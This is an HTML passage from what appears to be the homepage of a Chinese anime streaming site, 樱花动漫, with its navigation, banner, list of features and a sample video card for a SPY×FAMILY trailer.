        ::-webkit-scrollbar-thumb:hover {
            background: var(--primary);
        }
    </style>
</head>
<body>

    <!-- ===== 微光粒子背景 (全局) ===== -->
    <div class="particle-bg" aria-hidden="true">
        <span></span><span></span><span></span><span></span>
        <span></span><span></span><span></span><span></span>
    </div>

    <!-- ===== 导航栏 ===== -->
    <header class="navbar" role="navigation" aria-label="主导航">
        <div class="container">
            <a href="#" class="logo" aria-label="樱花动漫 首页">
                <!-- Logo 图形 + 文字 -->
                <span class="logo-icon">
                    <svg viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <circle cx="24" cy="24" r="22" fill="url(#logoGrad)" stroke="#fff" stroke-width="1.5"/>
                        <path d="M24 10 C28 14 32 18 32 24 C32 30 28 34 24 38 C20 34 16 30 16 24 C16 18 20 14 24 10Z" fill="#fff" opacity="0.30"/>
                        <path d="M24 14 C26.5 16.5 28 19.5 28 24 C28 28.5 26.5 31.5 24 34 C21.5 31.5 20 28.5 20 24 C20 19.5 21.5 16.5 24 14Z" fill="#fff" opacity="0.55"/>
                        <circle cx="24" cy="24" r="5" fill="#fff" opacity="0.70"/>
                        <circle cx="24" cy="24" r="2.5" fill="#4a9eff"/>
                        <defs>
                            <linearGradient id="logoGrad" x1="0" y1="0" x2="48" y2="48">
                                <stop offset="0%" stop-color="#4a9eff"/>
                                <stop offset="100%" stop-color="#d4c5f9"/>
                            </linearGradient>
                        </defs>
                    </svg>
                </span>
                <span class="logo-text">樱花动漫<span> · 追番</span></span>
            </a>

            <button class="nav-toggle" id="navToggle" aria-label="切换导航菜单" aria-expanded="false">
                <span></span><span></span><span></span>
            </button>

            <ul class="nav-menu" id="navMenu" role="menubar">
                <li role="none"><a href="#" role="menuitem" class="active">首页</a></li>
                <li role="none"><a href="#section-video" role="menuitem">动漫库</a></li>
                <li role="none"><a href="#section-advantage" role="menuitem">排行榜</a></li>
                <li role="none"><a href="#section-news" role="menuitem">资讯</a></li>
                <li role="none"><a href="#section-faq" role="menuitem">帮助</a></li>
            </ul>
        </div>
    </header>

    <!-- ===== 首屏 Banner ===== -->
    <section class="banner" aria-label="首页横幅">
        <div class="banner-particles" aria-hidden="true">
            <i></i><i></i><i></i><i></i><i></i>
        </div>
        <div class="banner-content">
            <h1>🌸 樱花动漫 · <span class="highlight">纯净追番</span></h1>
            <p class="subtitle">高清 · 流畅 · 无广告 · 新番同步</p>
            <p class="desc">海量日漫、国漫、剧场版每日更新，极致播放体验，二次元爱好者的理想乡。</p>
        </div>
    </section>

    <!-- ===== 网站简介 ===== -->
    <section id="section-intro" aria-labelledby="intro-title">
        <div class="container">
            <div class="section-header fade-in">
                <h2 id="intro-title">关于 <span class="hl">樱花动漫</span></h2>
                <p class="sub">您的专属动漫追番平台</p>
                <span class="divider"></span>
            </div>
            <div class="intro-card fade-in fade-in-d1">
                <p><strong>樱花动漫</strong> 致力于为全球二次元爱好者提供高清、流畅、无广告的动漫在线观看服务。平台覆盖新番连载、经典日漫、国漫佳作、剧场版动画等多元内容，每日同步更新，画质清晰，播放稳定。</p>
                <p>依托智能分发与极速CDN网络，樱花动漫实现了秒级加载、多端适配的观看体验。无论你是追番达人还是补番萌新，这里都有属于你的动漫世界。清爽的界面、精准的推荐、丰富的片库，让每一次点击都充满期待。</p>
            </div>
        </div>
    </section>

    <!-- ===== 核心优势 ===== -->
    <section id="section-advantage" aria-labelledby="adv-title">
        <div class="container">
            <div class="section-header fade-in">
                <h2 id="adv-title">✨ 核心 <span class="hl">优势</span></h2>
                <p class="sub">为动漫而生，极致追番体验</p>
                <span class="divider"></span>
            </div>
            <div class="advantage-grid">
                <!-- 卡片 1 -->
                <div class="card card-pill fade-in fade-in-d1">
                    <div class="icon-wrap">📺</div>
                    <h3>高清画质</h3>
                    <p>1080P/4K 超清画质，帧帧细腻，色彩饱满，沉浸式观影。</p>
                </div>
                <!-- 卡片 2 -->
                <div class="card card-pill fade-in fade-in-d2">
                    <div class="icon-wrap">⚡</div>
                    <h3>极速加载</h3>
                    <p>全球CDN加速，秒级缓冲，告别卡顿，追番不等待。</p>
                </div>
                <!-- 卡片 3 -->
                <div class="card card-pill fade-in fade-in-d3">
                    <div class="icon-wrap">🌍</div>
                    <h3>全球覆盖</h3>
                    <p>多地区节点智能调度，无论身在何处，流畅观看。</p>
                </div>
                <!-- 卡片 4 -->
                <div class="card card-pill fade-in fade-in-d4">
                    <div class="icon-wrap">🛡️</div>
                    <h3>纯净无广</h3>
                    <p>零广告打扰，专注内容本身，给你最干净的追番时光。</p>
                </div>
                <!-- 卡片 5 -->
                <div class="card card-pill fade-in fade-in-d5">
                    <div class="icon-wrap">📱</div>
                    <h3>多端适配</h3>
                    <p>电脑、平板、手机全端响应，随时随地，想看就看。</p>
                </div>
                <!-- 卡片 6 -->
                <div class="card card-pill fade-in fade-in-d6">
                    <div class="icon-wrap">🎯</div>
                    <h3>智能推荐</h3>
                    <p>基于兴趣的精准推荐，发现更多你爱的宝藏番剧。</p>
                </div>
            </div>
        </div>
    </section>

    <!-- ===== 精选视频 ===== -->
    <section id="section-video" aria-labelledby="video-title">
        <div class="container">
            <div class="section-header fade-in">
                <h2 id="video-title">🎬 精选 <span class="hl">视频</span></h2>
                <p class="sub">热门动漫 · 新番推荐 · 经典回顾</p>
                <span class="divider"></span>
            </div>
            <div class="video-grid">
                <!-- 视频 1 -->
                <div class="video-card fade-in fade-in-d1">
                    <div class="video-thumbnail" style="background:linear-gradient(145deg,#1a2a4a,#2d4a7a);">
                        <div class="thumb-inner">
                            <span class="cat-tag"><span class="icon">🎞️</span> 新番推荐</span>
                            <div class="play-btn" aria-label="播放">▶</div>
                            <span class="video-duration">24:30</span>
                        </div>
                    </div>
                    <div class="video-info">
                        <h3 class="video-title">SPY×FAMILY 第二季 预告</h3>
                        <div class="video-meta"><span>8.2万播放</span><span>1.4万点赞</span></div>
                        <div class="video-tags">
                            <span class="tag tag-video">新番</span>
                            <span class="tag">热血</span>
                            <span class="tag">搞笑</span>
                        </div>
                    </div>
                </div>
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